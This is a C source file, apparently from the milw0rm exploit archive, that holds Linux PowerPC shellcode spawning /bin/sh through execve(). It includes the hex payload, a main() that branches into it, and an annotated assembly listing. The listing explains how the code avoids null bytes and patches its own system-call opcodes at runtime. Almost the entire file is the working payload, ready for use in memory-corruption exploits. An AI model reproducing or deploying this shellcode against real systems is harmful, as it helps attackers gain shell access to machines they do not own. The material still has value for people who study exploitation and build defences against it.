/*
* Linux PPC shellcode
* execve() of /bin/sh by Palante
*/
long shellcode[] = { /* Palante's linuxPPC shellcode w/ NULL*/
0x7CC63278, 0x2F867FFF, 0x41BC0054, 0x7C6802A6,
0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4,
0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,
0x7CC419AE, 0x7C042A14, 0x7CE72850, 0x7C852A14,
0x7C63212E, 0x7C832214, 0x7CC5212E, 0x7CA52A78,
0x44FFFF02, 0x7CE03B78, 0x44FFFF02, 0x4BFFFFB1,
0x2F62696E, 0x2F73685A, 0xFFFFFFFF, 0xFFFFFFFF
};
void main()
{
__asm__("b shellcode");
}
/* disassembly
.section ".text" # Palante's LinuxPPC shellcode
.align 2
.globl m
.type m,@function
m:
xor 6,6,6 # r6 is 0
cmpi 7,0,6,0x7FFF # do meaningless compare
bc 13,28,L2 # conditional branch to L2 - CAUSES NULL BYTE
L1: mfspr 3,8 # address of /bin/sh into r3 (execve parameter)
sth 6,-7(3) # fix sc opcode
sth 6,-15(3) # fix sc opcode
addi 4,6,0x7FF0
addi 5,6,0x7FF4
addi 7,6,0x7FF3
xor 5,5,4 #got 0x4 into r5
xor 7,7,4 #got 0x3 into r7
add 4,5,7 # r4 = 0x7
stbx 6,4,3 # store null after /bin/sh
add 0,4,5 # this makes 11 which is the execve system call
sub 7,5,7 # r7 = 0x1 for exit system call
add 4,5,5 # r4 = 0x8
stwx 3,3,4 # and store pointer to /bin/sh at r3+0x8
add 4,3,4 # r4 = r3 + 0x8 (execve parameter)
stwx 6,5,4 # store NULL pointer
xor 5,5,5 # NULL (execve parameter)
.long 0x44ffff02 # not quite an sc opcode
or 0,7,7 # syscall 1 - exit
.long 0x44ffff02 # not quite an sc opcode
L2: bl L1 # branch and link back to L1
.long 0x2F62696E #/bin/shZ
.long 0x2F73685A
.long 0xffffffff # this is where pointer to /bin/sh goes
.long 0xffffffff # this is where null pointer goes
.Lfe1:
.size m,.Lfe1-m
*/
// milw0rm.com [2004-09-12]
